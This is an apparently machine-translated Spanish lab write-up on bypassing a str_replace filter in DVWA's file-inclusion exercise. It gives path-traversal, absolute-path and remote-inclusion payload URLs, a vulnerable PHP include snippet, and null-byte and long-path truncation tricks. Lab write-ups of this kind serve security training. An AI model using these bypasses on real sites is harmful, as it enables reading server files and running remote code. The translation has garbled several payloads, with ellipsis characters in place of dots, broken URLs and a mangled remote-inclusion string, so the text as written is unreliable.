str_replace function bypass
Entorno experimental DVWA, medio de seguridad
A veces los programadores usarán la función str_replace para defensa, esta función es extremadamente insegura, porque puede usar reglas de reemplazo de omisión de doble escritura para omitir fácilmente
Método de derivación
Por ejemplo, cuando page = hthttp: // tp: //192.168.0.103/phpinfo.txt, la función str_replace eliminará http: //, por lo que page = http: //192.168.0.103/phpinfo.txt, el comando remoto se ejecuta con éxito.
Al mismo tiempo, como solo se reemplazan "... /" y "... \", no hay restricciones para incluir archivos con una ruta absoluta.
Tres ejemplos
1. El archivo local contiene
http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./… /./…/./…/./Xampp/htdocs/dvwa/php.ini
2. La ruta absoluta no se ve afectada de ninguna manera
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs /dvwa/php.ini
3. El archivo remoto contiene
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p5.12.1phpphp.txt
Incluyendo derivación truncada
Código de defensa
<?php
if(isset($_GET['page'])){
include $_GET['page'] .".php" ;
}else{
include 'home.php';
}
?>
Determine si se asigna el parámetro, si se asigna el valor, incluida la variable del parámetro, agregue ....... php para defensa, si no se copia, incluido home.php
Este método solo es adecuado cuando magic_quotes_gpc = off, la
versión de php es inferior a 5.3. 4. Se puede omitir mediante el truncamiento% 00, pero ahora es difícil de ver, como por ejemplo:
index.php?file=info.txt//////////////…………超过一定数据的/。
Pensamientos personales
A veces, eludir los medios defensivos no se trata solo de no ser interceptados, sino de utilizar posibles medios defensivos y tomar los medios de los demás como propios, de modo que se puedan evitar algunas defensas